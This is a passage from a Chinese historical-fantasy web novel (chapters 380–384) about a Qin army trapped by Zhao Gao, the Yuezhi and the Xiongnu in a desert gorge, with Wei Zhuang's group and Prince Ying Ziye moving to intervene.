赵高满意地靠回椅背,摆了摆手,那名天字级**的身影再次融入阴影,消失不见。
石室内重新恢复了寂静,只有灯芯燃烧时偶尔发出的噼啪轻响!
赵高独自坐在昏暗中,脸上的表情却并未因即将得手的阴谋而放松,反而更添了几分深沉与贪婪。
他沉吟片刻。
对着空无一人的角落,仿佛自言自语。
“蒙犽这边,不过是开胃小菜。”
“真正的大餐……还在后面。”
他的声音陡然压低,带着一种难以抑制的渴望与急切。
“传令下去,加派人手,不惜一切代价,尽快找到大月氏国内隐藏的那处上古遗迹!”
“楼兰、龟兹那些老不死的巫师口中流传的传说,绝非空穴来风!”
他的眼中迸射出骇人的精光!
仿佛已经看到了那隐藏在黄沙与历史深处的宝藏。
“那里面埋藏的,不仅仅是富可敌国的钱财……”
“更重要的是,是那支传说中的‘阴兵’!!”
他猛地攥紧了拳头,指节因用力而泛红,语气变得无比狂热!
“只要掌握了这支力量,在这大月氏,在这西域……本官才算是真正有了立足的根基!”
“届时,什么乌孙陀罗,什么匈奴兀突骨,乃至……”
他话语一顿,眼中闪过极其隐秘的野心。
“……乃至咸阳宫里的那位,本官又何须再仰人鼻息!”
“去找!掘地三尺也要给我找出来!”
他几乎是低吼着发出命令,声音在石室内回荡,带着一种孤注一掷的疯狂。
“钱财,力量……都属于我赵高!”
“必须…属于我!!!”
……
炽烈的风卷着沙砾,抽打在残破的土垣上,发出单调而枯燥的声响。
在这片被烈日炙烤得几乎要融化的荒漠废墟中,一丝阴凉显得尤为珍贵。
卫庄抱臂倚靠在一段断裂的石柱阴影下,鲨齿剑随意地插在身侧的沙土里,他闭着眼,仿佛与这片死寂的荒芜融为一体。
赤练慵懒地靠在不远处,指尖缠绕着一条通体赤红的小蛇,美艳的眼眸却警惕地扫视着四周。
苍狼王如同真正的孤狼,蹲伏在高处的断墙上,绿油油的眼睛在阴影中闪烁。
隐蝠则倒挂在废墟的穹顶之下,宽大的蝠翼微微收拢,气息阴冷。
一片枯叶被风卷着,无声地落在卫庄肩头。
他甚至连眼睛都没睁开,只是指尖微动,那片枯叶便化作齑粉,飘散在风中。
就在这时,一道几乎透明的虚影在热浪中扭曲了一下!
墨麒麟的身影如同水滴融入沙地般,悄无声息地出现在卫庄面前。
他依旧是那副毫无存在感的模样,声音也低沉得近乎耳语。
“卫庄大人。”
卫庄缓缓睁开眼,那双冰冷的灰色眸子,比这荒漠的夜晚更寒。
“说。”
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“我在大月氏王宫探查到一些消息。”
墨麒麟的声音没有任何起伏。
“乌孙陀罗采纳了赵高之计,佯装败退,意图将蒙犽的十几万大军,引入‘死峡’绝地,围而歼之。”
赤练缠绕小蛇的手指微微一顿,妩媚的脸上露出一丝玩味。
“哦?赵高那条老狗,倒是会借刀**。”
墨麒麟继续道。
“此外,匈奴王庭秘密派遣了使臣进入大月氏,行踪极为隐蔽,暂时……还未探明其具体目的。”
空气似乎凝滞了一瞬!
苍狼王喉咙里发出低沉的呜咽,隐蝠倒挂的身影微微晃动了一下。
卫庄脸上没有任何表情,仿佛听到的只是两个无关紧要的地名。
他重新闭上眼睛,语气淡漠。
“墨麒麟。”
“在。”
“继续潜伏在王宫里,盯紧乌孙陀罗和那个匈奴使臣。”
“我要知道,匈奴人到底想在这盘棋里,落下什么样的棋子。”
“诺。”
墨麒麟的身影再次模糊,如同从未出现过。
“白凤。”
卫庄的目光投向废墟外无垠的蓝天。
几乎在他话音落下的瞬间,一片洁白的羽毛悠然飘落!
白凤的身影优雅地立在唯一一根完好的石柱顶端,轻风吹拂着他额前的蓝发。
“大人。”
“遗迹的线索,由你独自追查。”
卫庄的命令简洁有力。
“记住,我们要的,是确切的方位,不是传说。”
白凤嘴角勾起一抹淡然的弧度,微微颔首!
“明白。”
他身形一晃,如同化作了一阵清风,伴随着几声清越的鸟鸣,消失在蔚蓝的天际,只留下几片羽毛缓缓飘落。
赤练晃动着腰肢,走到卫庄身边,红唇微启,带着一丝不解。
“大人,为何还要分开行动?”
卫庄终于动了。
他缓缓站直身体,伸手拔出了插在沙土中的鲨齿剑。
剑身映照着烈日,反射出刺眼的寒光。
他灰色的瞳孔中,闪过一丝极其隐晦的算计和属于顶尖强者独有的孤傲。
“赢子夜……”
他念出这个名字,语气平淡,却仿佛有千钧之重。
“蒙犽这份‘人情’,值得卖给他。”
“让暗河的人去传递消息,能否把握住生机,看他蒙犽自己的本事。”
他顿了顿,嘴角扯起一个近乎残酷的弧度。
“至于我们……”
“既然来了西域,这趟浑水,不妨搅得更浑一些。”
“去看看那位被寄予厚望的蒙家将星,是如何应对这绝杀之局的,或许……会很有趣。”
他目光扫过赤练、苍狼王和隐蝠,语气斩钉截铁,带着流沙之主无可置疑的权威。
“其他人,随我出发!前往蒙犽大营。”
没有询问,没有质疑。
赤练眼中闪过一丝兴奋的血光,舔了舔红唇。
苍狼王发出一声压抑的低嚎,从断墙上一跃而下。
隐蝠展开巨大的肉翼,带起一阵阴风。
卫庄不再多言,手持鲨齿,迈步走入炽热的阳光之下。
玄色的大氅在身后猎猎作响,如同移动的黑暗,径直投向那片即将被阴谋与杀戮笼罩的战场方向。
第381章 全军覆没!
夜色如墨。
沉甸甸地压在流沙隘上空。
风在这里似乎也停滞了,只有沙砾偶尔滚动的细微声响,更衬出死寂般的宁静。
蜿蜒的官道上,连绵数里的辎重车队如同疲惫的巨**,在火把跳动的光芒中缓慢前行。
车轮碾过沙石,发出单调的吱呀声。
押运的民夫们低着头,眼神麻木。
护卫的秦军士卒虽然强打精神,但连日行军和西域夜晚的酷寒也让他们脸上写满了疲惫。
空气中弥漫着干草、粮食和皮革混合的气息。
这是十几万大军赖以生存的命脉!
负责此次押运的校尉姓王,是个在北疆打过几次硬仗的老兵。
他骑在马上,眉头紧锁,目光不断扫视着两侧如同巨兽脊背般起伏的黑暗沙丘。
这地方**静了,安静得让人心头发毛!
他忍不住对身旁的副手低语。
“传令下去,都打起精神!这流沙隘地势险恶,别让蛮子钻了空子!”
副手刚应了一声“诺”,声音还未完全落下。
“咻——!”
一支响箭带着凄厉至极的尖啸,猛地从左侧沙丘顶端射出,撕裂了夜的寂静!
那啸音如同恶鬼的嚎叫,瞬间刺穿了所有疲惫的神经!
“敌袭!结阵!护卫粮车!”
王校尉瞳孔骤缩,声嘶力竭地怒吼,猛地拔出了腰间的环首刀。
然而,太晚了!
那支响箭仿佛是一个信号。
下一刻,两侧原本死寂的沙丘如同沸腾的开水,无数黑影如同鬼魅般从沙地中、从岩石后涌出!
他们动作迅捷如豹,无声无息,只有兵刃出鞘时那细微的摩擦声连成一片,冰冷刺骨。
这些**多身着黑衣,面容隐藏在阴影或面罩之下,出手狠辣刁钻,专攻人体要害,正是罗网的精锐**!
几乎是同时!
沙丘后方传来了闷雷般的马蹄声!
无数大月氏骑兵如同决堤的洪流,挥舞着雪亮的弯刀,发出野性的咆哮,从高处俯冲而下!
火光映照下,他们脸上涂着狰狞的油彩,眼神里充满了嗜血的兴奋!
“罗网!是罗网的杂碎!还有大月氏的骑兵!”
王校尉目眦欲裂,他看到了那些黑衣人衣角隐约的蜘蛛纹饰。
“顶住!给老子顶住!”
战斗在瞬间爆发,并直接进入了最惨烈的阶段!
罗网**如同阴影中的毒蛇,他们不正面冲击军阵,而是利用鬼魅般的身法,专门袭杀军官、**手,破坏车辕,切割缰绳。
淬毒的暗器,见血封喉的短剑,从各种不可思议的角度袭来,不断制造着混乱与死亡!
而大月氏骑兵则凭借狂暴的冲击力,如同重锤般一次次砸向秦军仓促结成的防线。
弯刀划过,带起一蓬蓬温热的鲜血!
战马的铁蹄将试图抵抗的士卒踏成肉泥。
“保护粮车!点火!不能把粮食留给……”
一名秦军百夫长挥舞着长戟,试图组织起有效的抵抗。
话音未落,一柄来自阴影中的短剑便精准地抹过了他的咽喉!
他捂着喷血的脖子,难以置信地倒了下去。
恐慌如同瘟疫般在押运队伍中蔓延。
民夫们尖叫着四散奔逃,反而冲乱了本就岌岌可危的防御阵型。
护卫的秦军士卒虽然英勇,但在内外夹击,敌暗我明的绝对劣势下,他们的抵抗显得如此徒劳。
“校尉!东面防线被突破了!”
“校尉!粮车……粮车被蛮子点燃了!”
“我们被包围了!”
坏消息一个接一个传来。
王校尉挥舞着已经卷刃的环首刀,浑身浴血,如同困兽般左冲右突。
他亲眼看到一车车宝贵的粮草被扔上火把,冲天的火光映红了他绝望的脸。
他看到熟悉的部下一个个倒在血泊里!
有的被弯刀劈开胸膛,有的被**悄无声息地夺去性命。
“啊——!”
王校尉发出野兽般的悲鸣,不顾一切地冲向一名正在纵火的大月氏骑兵,却被侧面袭来的数名罗网**同时刺中后心与肋下。
他身体猛地一僵,环首刀当啷落地,艰难地回过头,看着那些冷漠的黑衣**,眼中充满了无尽的怨恨与不甘!
最终,重重扑倒在地,鲜血迅速浸透了身下的沙土。
战斗,或者说**,并没有持续太久。
当黎明前最黑暗的时刻来临,流沙隘已经彻底沦为一片修罗场。
冲天的火光将天空染成诡异的橘红色,空气中弥漫着浓烈的血腥味、焦糊味和烤肉般的诡异气味。
官道上,沙丘旁,到处都是秦军士卒和民夫扭曲的尸体。
破损的车辆,散落的粮食与货物狼藉一地。
还活着的少数俘虏被驱赶到一起。
他们眼神空洞,身上带着伤,在寒冷的夜风中瑟瑟发抖。
一名罗网的小头目,擦拭着短剑上的血迹,走到一名大月氏千夫长面前,声音沙哑。
“按照赵高大人的吩咐,粮草能烧的都已焚毁,部分不易焚烧的,也已**或破坏。”
“秦军押运人员,包括民夫,已清理完毕,不留活口。”
那大月氏千夫长看着眼前这片惨状,咧开大嘴,露出被尼古丁熏黄的牙齿,狞笑着拍了拍罗网**的肩膀。
“干得漂亮!”
“回去禀报大王和赵高先生,秦军的粮道,从今夜起,断了!”
“这流沙隘,归我们大月氏了!”
他转身,对着手下兴奋嚎叫的骑兵们挥舞着弯刀。
“儿郎们!把这地方给老子守好了!一只秦狗的蚂蚁也别想爬过去!”
残余的罗网**如同来时一样,悄无声息地退入黑暗。
而大月氏的骑兵们则开始在残骸与尸堆间建立简易的工事。
狼头旗帜被粗暴地插在最高处,在火光与晨曦的交映中,狰狞地舞动。
通往蒙犽大军的生命线,在这一夜,被彻底斩断!
寂静重新笼罩了流沙隘!
……
数日后。
死峡入口外五十里。
秦军大营旌旗招展,肃杀之气冲霄。
连日的猛攻推进,让这支深入大月氏腹地的军队如同出鞘的利剑,锋芒毕露。
中军大帐内,蒙犽一身玄甲未卸,沾染着征尘与点点暗红。
他站在巨大的西域沙盘前,冷硬如磐石的面容上看不出喜怒。
唯有那双锐利如鹰隼的眼睛,死死盯着沙盘上那道如同咽喉般的“死峡”标记。
“杨临所部铁骑已击溃敌军右翼屏障,距
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死峡入口不足二十里!”
“司马梗将军回报,其麾下轻骑已穿插至敌后,焚毁三处小型粮草囤点!”
“前锋营锐士已抢占死峡外最后一处高地,**箭可覆盖峡口区域!”
一道道捷报传来,帐内众将脸上难掩振奋之色。
兵锋所指,所向披靡!
大月氏军队在他们面前似乎真的不堪一击,正一步步被引入预设的决战之地!
蒙犽微微颔首,脸上依旧没有任何表情,但紧抿的嘴角线条似乎缓和了一丝。
他伸出带着金属护手的手指,正准备在沙盘上划出下一步全军压上,直捣黄龙的进攻路线。
“报——!!!”
一声凄厉,仓皇到变调的嘶吼,猛地从帐外传来!
打破了帐内因胜利在望而略显热烈的气氛。
一名浑身浴血,甲胄残破的斥候,连滚爬爬地冲了进来。
甚至来不及行礼,便扑倒在地,声音带着哭腔和极度的恐惧。
“将军!不好了!流沙隘……流沙隘失守!”
“我军后方粮道……被大月氏骑兵彻底切断,所有粮草辎重…尽数被焚毁或被夺!”
“押运将士……全军覆没啊!!!”
“什么?!”
如同晴天霹雳,在偌大的帅帐中炸响!
刚才还洋溢着战意的众将,瞬间脸色剧变,哗然之声四起!
粮道被断,对于一支深入敌境的大军意味着什么,在场的每一个人都清清楚楚。
那是悬在头顶的断头台!
蒙犽身体猛地一僵,那根悬在沙盘上空的手指顿住了。
他极其缓慢地转过头,看向那名匍匐在地,瑟瑟发抖的斥候。
脸上的肌肉似乎抽搐了一下!
那双冰冷的眼眸深处,仿佛有火山在酝酿,瞬间布满了骇人的血丝。
“你……再说一遍?”
蒙犽的声音不高,却像是从牙缝里挤出来,带着金属摩擦般的刺耳质感。
每一个字都蕴含着足以冻结空气的怒意与杀机!
那斥候吓得魂飞魄散,头磕在地上砰砰作响,语无伦次地重复。
“是真的,将军!流沙隘丢了!粮道断了!兄弟们……兄弟们死得好惨啊!”
“砰!”
蒙犽一拳狠狠砸在沙盘的边缘,坚硬的木框瞬间碎裂!
沙盘上的地形标记剧烈晃动。
他胸口剧烈起伏,玄甲下的身躯因为极致的愤怒而微微颤抖。
耻辱!
这是奇耻大辱!
他蒙犽纵横沙场,何时被人如此掐住命脉!
“赵高…乌孙陀罗……好,好得很!”
他几乎是咬着牙念出这两个名字,眼中的杀意几乎要化为实质。
他猛地直起身,强迫自己冷静下来,大脑飞速运转。
必须立刻改变部署!
后军变前军,不惜一切代价,立刻夺回流沙隘,打通粮道!
否则……
就在他深吸一口气,准备下达命令的刹那。
“报——!!!”
又一名斥候连滚爬爬地冲入大帐,脸色惨白如纸,声音尖锐得几乎撕裂。
“紧急军情!左翼……我军左翼百里外,发现大规模敌军骑兵!烟尘遮天,数目……数目不详!”
“看旗号,是大月氏王庭直属的烈狼骑!!”
第382章 绝地求生!
帐内瞬间一片死寂!
所有人的心都沉了下去!
蒙犽瞳孔骤缩。
左翼?
烈狼骑?
乌孙陀罗把看家的老底都搬出来了?
他想干什么?
合围?
还没等他从左翼出现的敌军中理清头绪。
“报——!!!右翼急报!”
第三名斥候几乎是摔进了大帐,声音带着绝望的颤抖。
“右翼发现敌军!是……是楼兰、龟兹的联军旗号!兵力庞大,正在向我军侧翼快速迂回!”
左右两翼,同时出现大军?!
帐内的将领们彻底慌了神,惊呼声、抽气声响成一片。
“怎么可能!楼兰龟兹怎么会……”
“我们被包围了!”
“粮道已断,如今三面受敌,这……”
蒙犽站在原地,一动不动。
接连三个噩耗,如同三记重锤,狠狠砸在他的心头。
刚才因粮道被断而燃起的熊熊怒火,此刻被一股彻骨的寒意瞬间浇灭。
他明白了,全都明白了!
什么一触即溃,什么节节败退……
全都是假的!
从始至终,这就是一个精心策划的陷阱!
乌孙陀罗和赵高,不惜以边境数座重镇和数万士卒为诱饵,一步步将他这十几万大军引到了这死峡绝地!
断他粮草,再以绝对优势兵力三面合围!
他的目光重新落回沙盘上,那道代表着“死峡”的狭窄标记。
此刻看来,就像一张狰狞巨兽张开的大口,正等待着将他和他的大军吞噬殆尽。
冷汗,第一次不受控制地从蒙犽的额角渗出,沿着他冷硬的线条滑落。
绝境!
这是真正的绝境!
比以往任何一次战斗都要凶险万倍的绝境!
“报——!!!”
紧接着。
第四名斥候几乎是跌撞进来,声音已经嘶哑得不成样子,带着一种近乎崩溃的绝望。
“后……后方!我军后方出现大量敌军!”
“是…是匈奴狼旗!还有戎族的骑兵!”
“数目……根本无法估算!我们……我们被彻底包围了!”
“什么?!”
这一次,连最沉得住气的将领也忍不住失声惊呼。
后方!
连最后的退路也被堵**!
四面合围,真正的铁壁合围!
蒙犽身体猛地一晃,若非强韧的意志支撑,几乎要站立不稳。
他一把撑住摇摇欲坠的沙盘边缘,指关节捏得发红。
那双锐利的眼睛此刻布满了血丝,死死盯着沙盘上代表自己军队的那枚孤零零的黑色旗帜。
它已被代表敌军的无数黄色、灰色标记从四面八方死死围住,水泄不通!
一股冰寒彻骨的凉意,从脚底瞬间窜上天灵盖!
“匈奴…戎族…他们哪来的如此多的兵力?!”
“怎么可能悄无声息地出现在这里?!”
蒙犽的声音第一次出现了难以抑制的颤抖!
那是计谋被完全看穿,陷入绝境后的震惊与暴怒!
乌孙陀罗和赵高,为了吃掉他这十几万人,究竟布下了一张多大的网?!
连匈奴和草原上的杂碎都勾结进来了!
帐内一片死寂,落针可闻。
将领们面无人色,有人甚至下意识地握紧了腰间的剑柄,仿佛这样才能汲取一丝微弱的安全感。
绝望如同瘟疫般蔓延,几乎要压垮所有人的神经。
蒙犽猛地抬起头,额角青筋暴起,汗水混合着尘土滑落。
他知道,此刻任何一丝犹豫,都将导致全军覆没的万劫不复之地!
“没时间犹豫了!”
他几乎是吼出来的,声音嘶哑却带着一种破釜沉舟的疯狂。
“合围尚未完全收紧!必须立刻撕开一道口子!”
他的目光如同鹰隼般扫过沙盘,瞬间锁定在右翼楼兰、龟兹联军的方向。
这些西域仆从军,战力相对最弱,是他们唯一的生机!!
“传令!”
蒙犽的声音如同出鞘的利剑,斩断了帐内凝重的绝望。
“全**向!后队变前队,不惜一切代价,向右侧翼楼兰、龟兹联军阵地,发起决死突击!杨临!”
“末将在!”
浑身是血的杨临踏前一步,眼神赤红。
“你的铁骑,为全军锋矢!给我凿穿他们!”
“哪怕战至最后一兵一卒,也要给老子打开一条生路!”
“诺!末将遵命!”
杨临抱拳,转身便冲出大帐,带着一股凛冽的杀气。
“司马梗!”
“末将在!”
“你率轻骑,护卫大军侧翼,阻挡左翼烈狼骑与后方匈奴人的夹击!能拖多久是多久!”
“末将明白!”
蒙犽最后看向众将,眼神如同燃烧的火焰。
“诸位!我军已陷死地,唯有死战,方有一线生机!”
“打开缺口后,立刻派出所有传令兵,不惜代价冲出重围,找到李信将军的那五万奇兵,让他火速驰援!”
他猛地拔出佩剑,剑锋直指帐外隐约传来的敌军号角声,发出了震耳欲聋的怒吼!
“大秦的存亡,就在今日!”
“随我——突围!杀——!!!”
“杀——!!!”
绝境之中的将领们,被主帅这决死的意志点燃,爆发出最后的血勇。
齐声怒吼,如同困兽最后的咆哮,纷纷冲出大帐。
……
北地郡守府内。
炭火噼啪,却驱不散赢子夜眉宇间凝结的寒意。
他刚刚听完关于胡亥在雕阴等地的作为——
坑杀降卒,强令攻坚,手段酷烈如修罗。
虽迅速稳定了后方,打通了部分粮道。
但那弥漫的血腥味,仿佛已透过军报传来,让他眼底闪过一丝不易察觉的冷冽。
“十八弟……还是这般急功近利,不择手段。”
他低声自语,指尖无意识地敲击着桌面。
然而,未等他细思胡亥之事,一道黑影如疾风般卷入厅内,带来一股更刺骨的寒意。
“主上!西域急报!”
暗河探子单膝跪地,气息未匀,声音带着前所未有的急促。
“逆流沙墨麒麟从大月氏王庭传来密报,大月氏与匈奴勾结,已于‘死峡’设下重围,意图全歼蒙犽将军所部!”
“卫庄等人已先行赶往,但……但恐敌军势大,合围若成,纵使卫庄,亦难挽狂澜!”
赢子夜敲击桌面的手指骤然停住,霍然抬头,眼中精光爆射!
“死峡?合围?
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”
他瞬间站起身,玄色衣袍无风自动。
“粮道呢?”
“据逆流沙消息,蒙犽将军后方粮道……疑似已断!”
一股冰冷的窒息感瞬间攫住了赢子夜的心脏。
粮道被断,身陷绝地,四面重围……
这是绝杀之局!!
纵然蒙犽勇冠三军,面对如此绝境,亦如困兽犹斗!!
他猛地走到悬挂的巨幅疆域图前,目光死死钉在“死峡”那个令人心悸的名字上。
卫庄孤傲,肯传递消息已是卖了天大人情。
让他去协调蒙犽麾下那支分出去,由李信率领的五万奇兵,绝无可能。
毕竟以卫庄无权无职的身份,根本无法调动他们。
而那支军队,恰是此刻唯一的变数!
是撕开死局的关键!
“赵弋苍!”
赢子夜声音冷彻如冰。
赵弋苍的身影无声浮现。
“卑职在!”
赢子夜毫不犹豫地扯下腰间一枚雕刻着玄鸟暗纹的令牌!
那代表着大秦公子,北疆巡察使的无上权威,一把抛给赵弋苍。
“持我令牌,带暗河精锐,以最快速度找到李信将军!”
“令他放弃原定目标,不惜一切代价,火速驰援死峡,攻击敌军合围之薄弱处,接应蒙犽突围!”
“告诉他,此令,关乎十几万大秦将士存亡,关乎帝国西域气运,不得有误!!”
“诺!卑职誓死完成任务!”
赵弋苍接过那沉甸甸的令牌,入手冰凉,却仿佛有千钧之重!
他重重抱拳,身影一晃,已如鬼魅般消失在门外。
赢子夜深吸一口气,强行压下胸腔内翻涌的焦灼。
他转身,目光扫过闻讯赶来的田言以及留守的几位将领,最后定格在那位断臂老将军李敢身上。
李敢虽失一臂,但腰杆挺得笔直,独眼中燃烧着不灭的军魂。
“老将军!”
赢子夜声音沉凝,带着不容置疑的托付。
“北地郡防务,及与胡亥公子所部联络协调之责,便全权交予你了,我夫人她们几位都会尽力协助你。”
“郡城安危,后方稳定,系于你一身!”
李敢独臂重重捶胸,发出沉闷的响声,虎目含泪,嘶声道!
“殿下放心!只要末将有一口气在,北地郡绝无闪失!”
“末将定与城池共存亡!”
赢子夜点头,随即看向田言,语气稍缓,却依旧果断。
“田言姑娘,你即刻清点我本部剩余精锐骑兵,随我出发。”
田言闻言,清冷的眼眸中闪过一丝担忧,但她深知此刻绝非犹豫之时,立刻躬身。
“是,殿下!”
赢子夜不再多言,抓起桌上的定秦剑,大步向外走去!
玄色披风在身后猎猎扬起,划破沉闷的空气。
“殿下,您这是要亲赴西域?”
一名文官忍不住惊呼。
赢子夜脚步未停,声音如同金石交击,清晰地传遍整个厅堂。
“蒙犽与十几万将士危在旦夕,帝国西域战略岂容有失?”
“本公子,亲自去会一会那些人!”
他身影消失在门口,只留下一道决绝的背影和一句斩钉截铁的命令。
“即刻出发,目标——死峡!”
第383章 匈奴单于的真正目的!
阴冷的匈奴王庭深处。
巨大的穹顶下燃烧着数盆熊踞烈火,跳动的火焰将墙壁上狰狞的兽首图腾映照得如同活物!
空气中弥漫着浓郁的羊膻味,皮革气息以及一种铁与血混合的压迫感。
匈奴单于,头曼。
如同一座亘古存在的铁塔,矗立在巨大的西域沙盘之前!
他并未穿着华丽的王袍。
仅着一件暗沉的黑狼皮大氅。
裸露的古铜色胸膛上布满交错扭曲的疤痕,如同盘踞的毒蛇。
他的面容粗犷,颧骨高耸,一双深陷的眼窝中,瞳孔是近乎纯粹的墨色。
开阖之间,精光四射,仿佛能吞噬一切光线!
他只是站在那里,一股蛮荒、霸道、令人窒息的强大气息便笼罩了整个王庭!
连最凶悍的部落首领在他面前也不自觉地屏住呼吸。
而沙盘之上。
清晰地标注着北疆与大月氏的战局。
代表秦军的黑色小旗在几个点上苦苦支撑。
而代表匈奴与其附庸的狼头标记,则如同贪婪的蚁群,不断蚕食着边境!
而在西域。
“死峡”区域,已被密密麻麻代表大月氏的黄色与代表匈奴及戎族的灰色标记,彻底包围。
中央那点黑色显得如此孤立无援。
一名身披灰狼皮,气息如同幽灵般的暗探悄无声息地滑入王庭,匍匐在头曼脚下,声音低沉而精准。
“伟大的单于,使臣已顺利抵达大月氏王庭,乌孙陀罗已收下您的‘礼物’,并同意我八万草原儿郎,尽数投入死峡战场,协同围歼蒙犽。”
头曼的嘴角,缓缓勾起一抹冷酷至极的弧度,如同苍狼咧开了嗜血的嘴。
他没有说话。
只是伸出粗壮的手指,轻轻将沙盘上代表那八万生力军的灰色标记,推到了“死峡”包围圈的最外侧。
完成了这致命合围的…最后一环!
“好。”
只有一个字,从他那如同砂石摩擦的喉咙里挤出,却带着尸山血海般的重量。
他抬起那双深不见底的墨色瞳孔。
扫过帐内肃立的几名心腹万夫长和部落首领,声音如同滚动的闷雷,带着不容置疑的权威。
“传令下去。”
他第一根手指重重敲在北疆的几座秦军要塞上。
“让儿郎们继续猛攻雁门、云中!”
“攻势要猛,死伤不必吝啬!”
“我要让赢子夜和秦国的皇帝以为,**原雄鹰此次的目标,仍是强行南下,叩开他们的国门!”
“遵命!”
一名万夫长狞笑着领命。
头曼的第二根手指,移到了大月氏的腹地,目光变得幽深而贪婪。
“再加派人手,必须是部落里最狡猾的狐狸,最敏锐的猎鹰!”
“给本单于尽快找到大月氏境内隐藏的那处上古遗迹!”
“乌孙陀罗那个蠢货,空守宝山而不自知!那里的东西,才配得上真正的强者!”
“遵命,单于!”
另一名负责秘探的首领躬身应道。
紧接着,头曼的第三根手指。
带着一股森然的杀意,虚点在沙盘上“死峡”的位置,语气变得无比阴寒。
“再传一道密令给前线统帅……”
“待到大月氏的军队和秦国的军队在死峡拼得两败俱伤,血流成河之时……”
他五指猛地收拢,仿佛攥住了沙盘上那无数的生命。
“……便将他们,连同乌孙陀罗那些碍事的‘盟友’,给本单于…尽数消灭,一个不留!”
帐内温度骤降!
几名首领都不由自主地打了个寒颤!
他们感受到了单于话语中那毫无人性的冷酷与决绝。
“然后,”
头曼的声音陡然拔高,带着一种席卷天地的野心与狂热。
他巨大的手掌猛地拍在沙盘西侧,大月氏王国广袤而防守相对薄弱的西北边疆。
“调集王庭所有精锐,所有能骑马的战士!”
“随本单于亲自率领,放弃佯攻,火速奔袭这里——”
“大月氏的西北门户!”
他眼中爆射出骇人的光芒!
仿佛已经看到了那片土地在他铁蹄下颤抖的景象。
“秦国防备,东重西轻!”
“大月氏的注意力,此刻全在死峡!”
“只要计划顺利,趁其国内空虚,本单于便能以雷霆之势,直捣王庭!”
“先吞大月氏,夺其疆土,掠其财富,收其部众!”
他张开双臂,如同欲要拥抱整个天下,声音如同宣誓,震撼着王庭的每一个角落。
“届时,整合西域与草原之力,我匈奴便将拥有无可匹敌的庞大军力!”
“到时候进军中原,饮马黄河,取代羸弱的秦人,主宰这片天下!”
“单于英明!!”
帐内所有的匈奴贵族与将领都被这庞大的野心点燃!
狂**跪倒在地!
发出震天的咆哮!
眼神中充满了对杀戮与征服的渴望。
头曼满意地看着臣服的下属,重新将目光投向沙盘。
那眼神,已然是在俯瞰即将到手的猎物。
……
夜色如墨。
死峡之内更是伸手不见五指。
只有呼啸的穿堂风如同怨鬼的哭泣,刮过陡峭的岩壁。
秦军残部被如同潮水般的敌军,一步步,无可挽回地逼入了这处绝地。
后方是匈奴狼骑和戎族骑兵封死的退路,左右两翼是不断压迫的大月氏金狼骑和西域联军。
前方,则是深不见底,未知险恶的峡谷深处。
败退的恐慌如同瘟疫。
在疲惫不堪的士卒中蔓延。
丢盔弃甲者,失魂落魄者,绝望哭嚎者,比比皆是。
整个大军如同被驱赶的羊群,挤在越来越狭窄的谷地中,建制被打乱,士气跌落谷底。
“不要乱!稳住!长戟手向前!**手占据高地!”
蒙犽的声音已经嘶哑,却如同惊雷般在混乱中炸响。
他玄甲染血,头盔不知丢在何处,发丝凌乱地贴在额前。
脸上混杂着血污、尘土与汗水。
但那双眼眸,却如同被逼到绝境的猛虎,燃烧着不屈的火焰!
他挥舞着佩剑,亲手将一名试图向后溃逃的百将砍翻在地,厉声怒吼!
“临阵脱逃者,斩立决!都给老子站稳了!”
他的狠厉与决绝,瞬间震慑住了濒临崩溃的军心!
一些老卒和军官开始自发地收拢部队。
“杨临!带你的人,给老子把左翼那个口子堵住!死也要死在阵线上!”
“司马梗!轻骑下马,全部充作步卒,护卫右翼,用弓箭给我压制住那些西域杂碎!”
“快!把还能用的车辆、辎重,全部推到前面,构筑壁垒!”
“砍伐树木,设置拒马!快!”
一道道命令从蒙犽口中吼出,急促却条理清晰!
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>他如同一个不知疲倦的战争机器,在混乱的洪流中强行树立起秩序的标杆。
得益于蒙家深厚的军事底蕴和他自身卓越的指挥才能。
濒临瓦解的秦军,竟在这位年轻主将的强行凝聚下,奇迹般地开始稳住阵脚!
士卒们依令而行。
凭借着求生的本能和残存的纪律,利用峡谷相对狭窄的地形,用尸体、破损的兵车,随手砍伐的树木,甚至是地上的石块。
疯狂地构建起一道道简陋却致命的防线。
**手在高处同伴的掩护下,重新张开了死亡的獠牙。
零散却精准的箭矢开始射向试图靠近的敌军,延缓着他们的攻势!
一场惨烈无比的攻防战,在这狭窄的绝地中骤然爆发!
蛮族骑兵的冲锋在临时构筑的障碍和如林的长戟面前撞得头破血流!
而秦军的**箭也在黑暗中不断收割着生命!
鲜血很快染红了谷地的沙石。
每时每刻都有人倒下。
惨叫、兵刃碰撞声、垂死的哀鸣,与呼啸的风声交织在一起。
然而,凭借着这股被逼出来的悍勇和蒙犽的临机决断。
秦军竟然真的顶住了敌军第一波试图趁乱全歼的猛攻。
将战线暂时稳定了下来!
当黎明前最黑暗的时刻来临,攻势稍歇。
战场上出现了短暂的,喘息般的寂静。
空气中,弥漫着浓郁到令人作呕的血腥味。
蒙犽拄着剑,站在一道由兵车和尸体垒砌的矮墙后,胸膛剧烈起伏。
汗水,顺着下巴滴落,混入脚下暗红的泥土中。
他环视四周,借着微弱的天光,能看到士卒们倚靠着工事,大多带伤。
眼神里,充满了血战后的疲惫,以及一丝劫后余生的茫然。
但至少,恐慌被暂时压了下去,防线初步成型。
一名校尉拖着受伤的腿,一瘸一拐地走过来,脸上带着一丝振奋。
“将军!我们顶住了!营寨初步立起来了!”
蒙犽看了他一眼,没有说话,只是缓缓点了点头。
他走到一处稍高的土坡上,望向峡谷外那影影绰绰,如同繁星般密集的敌**把。
它们如同一个巨大的包围圈。
将这片绝地围得水泄不通!
他的目光扫过自家营寨,看着那些疲惫不堪,甲胄残破的将士。
看着那些匆忙构建,远谈不上坚固的工事。
看着空地上堆积的,数量寥寥的箭矢和兵械……
一股沉重冰冷的压力,如同这死峡的岩石,重重地压在了他的心头。
他深吸了一口带着浓重血腥味的冰冷空气。
对身旁跟上来的杨临和司马梗,声音低沉得几乎只有他们三人能听见。
“我们……暂时稳住了。”
他顿了顿,抬头望向那被岩壁切割成一条细线,灰暗的天空,语气带着一种近乎绝望的清醒。
“但没有粮草,没有援军,没有补给……”
“箭射一支便少一支,刀砍卷了便再无替换……”
“我们……我们在这里,又能撑得住几天?”
这句话,像是一根冰冷的针,刺破了刚刚凝聚起来的一丝虚假希望!
杨临和司马梗身体同时一僵。
看着蒙犽那在晨曦微光中显得异常坚毅却又无比沉重的侧脸。
一股更深的寒意,从心底蔓延开来。
他们或许只是延缓了死亡的时间。
第384章 本侯要让他们无饭食,睡难寝!
凛冽的寒风如同刀子般刮过脸颊。
